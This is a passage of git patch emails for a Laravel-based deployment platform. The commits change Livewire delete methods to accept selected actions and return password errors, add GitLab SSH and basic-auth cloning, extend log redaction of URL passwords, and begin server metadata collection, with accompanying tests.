GetProxyConfiguration::run($server); + + expect($result)->toBe($customConfig) + ->and($result)->toContain('waf.custom.middleware=true') + ->and($result)->toContain('CF_API_EMAIL') + ->and($result)->toContain('metrics.prometheus=true'); +}); + +it('logs warning when regenerating defaults', function () { + Log::swap(new \Illuminate\Log\LogManager(app())); + Log::spy(); + + // No DB config, no disk config — will try to regenerate + $server = mockServerWithDbConfig(null); + + // backfillFromDisk will be called — we need instant_remote_process to return empty + // Since it's a global function we can't easily mock it, so test the logging via + // the force regenerate path instead + try { + GetProxyConfiguration::run($server, forceRegenerate: true); + } catch (\Throwable $e) { + // generateDefaultProxyConfiguration may fail without full server setup + } + + Log::shouldHaveReceived('warning') + ->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults')) + ->once(); +}); + +it('does not read from disk when DB config exists', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // If disk were read, instant_remote_process would be called. + // Since we're not mocking it and the test passes, it proves DB is used. + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); From 8366e150b14858af722be11b077a45c8bacc0d96 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 15:04:45 +0100 Subject: [PATCH 181/305] feat(livewire): add selectedActions parameter and error handling to delete methods - Add `$selectedActions = []` parameter to delete/remove methods in multiple Livewire components to support optional deletion actions - Return error message string when password verification fails instead of silent return - Return `true` on successful deletion to indicate completion - Handle selectedActions to set component properties for cascading deletions (delete_volumes, delete_networks, delete_configurations, docker_cleanup) - Add test coverage for Danger component delete functionality with password validation and selected actions handling --- app/Livewire/NavbarDeleteTeam.php | 4 +- app/Livewire/Project/Database/BackupEdit.php | 4 +- .../Project/Database/BackupExecutions.php | 8 +- app/Livewire/Project/Service/FileStorage.php | 6 +- app/Livewire/Project/Service/Index.php | 8 +- app/Livewire/Project/Shared/Danger.php | 13 ++- app/Livewire/Project/Shared/Destination.php | 6 +- app/Livewire/Project/Shared/Storages/Show.php | 6 +- app/Livewire/Server/Delete.php | 8 +- .../Server/Security/TerminalAccess.php | 6 +- app/Livewire/Team/AdminView.php | 6 +- tests/v4/Feature/DangerDeleteResourceTest.php | 81 +++++++++++++++++++ 12 files changed, 130 insertions(+), 26 deletions(-) create mode 100644 tests/v4/Feature/DangerDeleteResourceTest.php diff --git a/app/Livewire/NavbarDeleteTeam.php b/app/Livewire/NavbarDeleteTeam.php index a8c932912..8e5478b5e 100644 --- a/app/Livewire/NavbarDeleteTeam.php +++ b/app/Livewire/NavbarDeleteTeam.php @@ -15,10 +15,10 @@ public function mount() $this->team = currentTeam()->name; } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $currentTeam = currentTeam(); diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 35262d7b0..c24e2a3f1 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -146,12 +146,12 @@ public function syncData(bool $toModel = false) } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('manageBackups', $this->backup->database); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { diff --git a/app/Livewire/Project/Database/BackupExecutions.php b/app/Livewire/Project/Database/BackupExecutions.php index 44f903fcc..1dd93781d 100644 --- a/app/Livewire/Project/Database/BackupExecutions.php +++ b/app/Livewire/Project/Database/BackupExecutions.php @@ -65,10 +65,10 @@ public function cleanupDeleted() } } - public function deleteBackup($executionId, $password) + public function deleteBackup($executionId, $password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $execution = $this->backup->executions()->where('id', $executionId)->first(); @@ -96,7 +96,11 @@ public function deleteBackup($executionId, $password) $this->refreshBackupExecutions(); } catch (\Exception $e) { $this->dispatch('error', 'Failed to delete backup: '.$e->getMessage()); + + return true; } + + return true; } public function download_file($exeuctionId) diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 079115bb6..5d948bffd 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -134,12 +134,12 @@ public function convertToFile() } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { @@ -158,6 +158,8 @@ public function delete($password) } finally { $this->dispatch('refreshStorages'); } + + return true; } public function submit() diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index b735d7e71..c77a3a516 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -194,13 +194,13 @@ public function refreshFileStorages() } } - public function deleteDatabase($password) + public function deleteDatabase($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceDatabase); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceDatabase->delete(); @@ -398,13 +398,13 @@ public function instantSaveApplicationAdvanced() } } - public function deleteApplication($password) + public function deleteApplication($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceApplication); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceApplication->delete(); diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index e9c18cc8d..caaabc494 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -88,16 +88,21 @@ public function mount() } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! $this->resource) { - $this->addError('resource', 'Resource not found.'); + return 'Resource not found.'; + } - return; + if (! empty($selectedActions)) { + $this->delete_volumes = in_array('delete_volumes', $selectedActions); + $this->delete_connected_networks = in_array('delete_connected_networks', $selectedActions); + $this->delete_configurations = in_array('delete_configurations', $selectedActions); + $this->docker_cleanup = in_array('docker_cleanup', $selectedActions); } try { diff --git a/app/Livewire/Project/Shared/Destination.php b/app/Livewire/Project/Shared/Destination.php index 7ab81b7d1..363471760 100644 --- a/app/Livewire/Project/Shared/Destination.php +++ b/app/Livewire/Project/Shared/Destination.php @@ -134,11 +134,11 @@ public function addServer(int $network_id, int $server_id) $this->dispatch('refresh'); } - public function removeServer(int $network_id, int $server_id, $password) + public function removeServer(int $network_id, int $server_id, $password, $selectedActions = []) { try { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if ($this->resource->destination->server->id == $server_id && $this->resource->destination->id == $network_id) { @@ -152,6 +152,8 @@ public function removeServer(int $network_id, int $server_id, $password) $this->loadData(); $this->dispatch('refresh'); ApplicationStatusChanged::dispatch(data_get($this->resource, 'environment.project.team.id')); + + return true; } catch (\Exception $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 2091eca14..69395a591 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -77,15 +77,17 @@ public function submit() $this->dispatch('success', 'Storage updated successfully'); } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->storage->delete(); $this->dispatch('refreshStorages'); + + return true; } } diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index e7b64b805..beb8c0a12 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -24,10 +24,14 @@ public function mount(string $server_uuid) } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; + } + + if (! empty($selectedActions)) { + $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); } try { $this->authorize('delete', $this->server); diff --git a/app/Livewire/Server/Security/TerminalAccess.php b/app/Livewire/Server/Security/TerminalAccess.php index 310edcfe4..b4b99a3e7 100644 --- a/app/Livewire/Server/Security/TerminalAccess.php +++ b/app/Livewire/Server/Security/TerminalAccess.php @@ -31,7 +31,7 @@ public function mount(string $server_uuid) } } - public function toggleTerminal($password) + public function toggleTerminal($password, $selectedActions = []) { try { $this->authorize('update', $this->server); @@ -43,7 +43,7 @@ public function toggleTerminal($password) // Verify password if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } // Toggle the terminal setting @@ -55,6 +55,8 @@ public function toggleTerminal($password) $status = $this->isTerminalEnabled ? 'enabled' : 'disabled'; $this->dispatch('success', "Terminal access has been {$status}."); + + return true; } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Team/AdminView.php b/app/Livewire/Team/AdminView.php index c8d44d42b..09878f27b 100644 --- a/app/Livewire/Team/AdminView.php +++ b/app/Livewire/Team/AdminView.php @@ -49,14 +49,14 @@ public function getUsers() } } - public function delete($id, $password) + public function delete($id, $password, $selectedActions = []) { if (! isInstanceAdmin()) { return redirect()->route('dashboard'); } if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! auth()->user()->isInstanceAdmin()) { @@ -71,6 +71,8 @@ public function delete($id, $password) try { $user->delete(); $this->getUsers(); + + return true; } catch (\Exception $e) { return $this->dispatch('error', $e->getMessage()); } diff --git a/tests/v4/Feature/DangerDeleteResourceTest.php b/tests/v4/Feature/DangerDeleteResourceTest.php new file mode 100644 index 000000000..7a73f5979 --- /dev/null +++ b/tests/v4/Feature/DangerDeleteResourceTest.php @@ -0,0 +1,81 @@ + 0]); + Queue::fake(); + + $this->user = User::factory()->create([ + 'password' => Hash::make('test-password'), + ]); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'test-network-'.fake()->unique()->word(), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + // Bind route parameters so get_route_parameters() works in the Danger component + $route = Route::get('/test/{project_uuid}/{environment_uuid}', fn () => '')->name('test.danger'); + $request = Request::create("/test/{$this->project->uuid}/{$this->environment->uuid}"); + $route->bind($request); + app('router')->setRoutes(app('router')->getRoutes()); + Route::dispatch($request); +}); + +test('delete returns error string when password is incorrect', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'wrong-password') + ->assertReturned('The provided password is incorrect.'); + + // Resource should NOT be deleted + expect(Application::find($this->application->id))->not->toBeNull(); +}); + +test('delete succeeds with correct password and redirects', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password') + ->assertHasNoErrors(); + + // Resource should be soft-deleted + expect(Application::find($this->application->id))->toBeNull(); +}); + +test('delete applies selectedActions from checkbox state', function () { + $component = Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password', ['delete_configurations', 'docker_cleanup']); + + expect($component->get('delete_volumes'))->toBeFalse(); + expect($component->get('delete_connected_networks'))->toBeFalse(); + expect($component->get('delete_configurations'))->toBeTrue(); + expect($component->get('docker_cleanup'))->toBeTrue(); +}); From b2135bb4fa028d1cb9de166d72c058c605599974 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 15:30:46 +0100 Subject: [PATCH 182/305] feat(gitlab): add GitLab source integration with SSH and HTTP basic auth Add full GitLab application source support for git operations: - Implement SSH-based authentication using private keys with configurable ports - Support HTTP basic auth for HTTPS GitLab URLs (with or without deploy keys) - Handle private key setup and SSH command configuration in both Docker and local modes - Support merge request checkouts for GitLab with SSH authentication Improvements to credential handling: - URL-encode GitHub access tokens to handle special characters properly - Update log sanitization to redact passwords from HTTPS/HTTP URLs - Extend convertGitUrl() type hints to support GitlabApp sources Add test coverage and seed data: - New GitlabSourceCommandsTest with tests for private key and public repo scenarios - Test for HTTPS basic auth password sanitization in logs - Seed data for GitLab deploy key and public example applications --- app/Models/Application.php | 137 +++++++++++++++++- bootstrap/helpers/remoteProcess.php | 4 +- bootstrap/helpers/shared.php | 4 +- database/seeders/ApplicationSeeder.php | 32 ++++ .../seeders/ApplicationSettingsSeeder.php | 7 + tests/Unit/GitlabSourceCommandsTest.php | 91 ++++++++++++ tests/Unit/SanitizeLogsForExportTest.php | 16 ++ 7 files changed, 284 insertions(+), 7 deletions(-) create mode 100644 tests/Unit/GitlabSourceCommandsTest.php diff --git a/app/Models/Application.php b/app/Models/Application.php index 34ab4141e..7b46b6f3d 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1163,14 +1163,15 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ $base_command = "{$base_command} {$escapedRepoUrl}"; } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; @@ -1189,6 +1190,62 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); + $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; + + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $base_command = "{$base_command} {$escapedCustomRepository}"; + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { @@ -1301,13 +1358,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; @@ -1339,6 +1397,77 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = escapeshellarg($customRepository); + $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + if ($only_checkout) { + $git_clone_command = $git_clone_command_base; + } else { + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit); + } + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($pull_request_id !== 0) { + $branch = "merge-requests/{$pull_request_id}/head:$pr_branch_name"; + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); + } else { + $commands->push("echo 'Checking out $branch'"); + } + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { $fullRepoUrl = $customRepository; diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index 217c82929..f819df380 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -275,9 +275,9 @@ function remove_iip($text) // ANSI color codes $text = preg_replace('/\x1b\[[0-9;]*m/', '', $text); - // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, etc.) + // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, git basic auth, etc.) // (protocol://user:password@host → protocol://user:@host) - $text = preg_replace('/((?:postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); + $text = preg_replace('/((?:https?|postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); // Email addresses $text = preg_replace('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', REDACTED, $text); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index ce40466b2..b58f2ab7f 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -8,6 +8,7 @@ use App\Models\ApplicationPreview; use App\Models\EnvironmentVariable; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\InstanceSettings; use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; @@ -3522,7 +3523,7 @@ function defaultNginxConfiguration(string $type = 'static'): string } } -function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp $source = null): array +function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp|GitlabApp|null $source = null): array { $repository = $gitRepository; $providerInfo = [ @@ -3542,6 +3543,7 @@ function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp // Let's try and fix that for known Git providers switch ($source->getMorphClass()) { case \App\Models\GithubApp::class: + case \App\Models\GitlabApp::class: $providerInfo['host'] = Url::fromString($source->html_url)->getHost(); $providerInfo['port'] = $source->custom_port; $providerInfo['user'] = $source->custom_user; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 18ffbe166..70fb13a0d 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -4,6 +4,7 @@ use App\Models\Application; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\StandaloneDocker; use Illuminate\Database\Seeder; @@ -98,5 +99,36 @@ public function run(): void CMD ["sh", "-c", "echo Crashing in 5 seconds... && sleep 5 && exit 1"] ', ]); + Application::create([ + 'uuid' => 'gitlab-deploy-key', + 'name' => 'GitLab Deploy Key Example', + 'fqdn' => 'http://gitlab-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + 'private_key_id' => 1, + ]); + Application::create([ + 'uuid' => 'gitlab-public-example', + 'name' => 'GitLab Public Example', + 'fqdn' => 'http://gitlab-public.127.0.0.1.sslip.io', + 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', + 'base_directory' => '/astro/static', + 'publish_directory' => '/dist', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + ]); } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index 8e439fd16..87236df8a 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -15,5 +15,12 @@ public function run(): void $application_1 = Application::find(1)->load(['settings']); $application_1->settings->is_debug_enabled = false; $application_1->settings->save(); + + $gitlabPublic = Application::where('uuid', 'gitlab-public-example')->first(); + if ($gitlabPublic) { + $gitlabPublic->load(['settings']); + $gitlabPublic->settings->is_static = true; + $gitlabPublic->settings->save(); + } } } diff --git a/tests/Unit/GitlabSourceCommandsTest.php b/tests/Unit/GitlabSourceCommandsTest.php new file mode 100644 index 000000000..077b21590 --- /dev/null +++ b/tests/Unit/GitlabSourceCommandsTest.php @@ -0,0 +1,91 @@ +makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1); + $gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'git@gitlab.com:user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('id_rsa'); + expect($result['commands'])->toContain('mkdir -p /root/.ssh'); +}); + +it('generates ls-remote commands for GitLab source without private key', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('https://gitlab.com/user/repo.git'); + // Should NOT contain SSH key setup + expect($result['commands'])->not->toContain('id_rsa'); +}); + +it('does not return null for GitLab source type', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false); + expect($lsRemoteResult)->not->toBeNull(); + expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']); +}); diff --git a/tests/Unit/SanitizeLogsForExportTest.php b/tests/Unit/SanitizeLogsForExportTest.php index 39d16c993..285230ea4 100644 --- a/tests/Unit/SanitizeLogsForExportTest.php +++ b/tests/Unit/SanitizeLogsForExportTest.php @@ -153,6 +153,22 @@ expect($result)->toContain('aws_secret_access_key='.REDACTED); }); +it('removes HTTPS basic auth passwords from git URLs', function () { + $testCases = [ + 'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED, + 'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED, + 'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED, + ]; + + foreach ($testCases as $input => $notExpected) { + $result = sanitizeLogsForExport($input); + // The password should be redacted + expect($result)->not->toContain('glpat-xxxxxxxxxxxx'); + expect($result)->not->toContain('my-secret-token'); + expect($result)->not->toContain('token123'); + } +}); + it('removes generic URL passwords', function () { $testCases = [ 'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path', From e52a49b5e9d70ade80b0f98529bf47b3793197de Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 16:21:05 +0100 Subject: [PATCH 183/305] feat(server): add server metadata collection and display Add ability to gather and display server system information including OS, architecture, kernel version, CPU count, memory, and uptime. Includes: - New gatherServerMetadata() method to collect system details via remote commands - New refreshServerMetadata() Livewire action with authorization and error handling - Server Details UI section showing collected metadata with refresh capability - Database migration to add server_metadata JSON column - Comprehensive test suite for metadata collection and persistence --- app/Livewire/Server/Show.php | 16 ++++ app/Models/Server.php | 52 ++++++++++ ...0_add_server_metadata_to_servers_table.php | 32 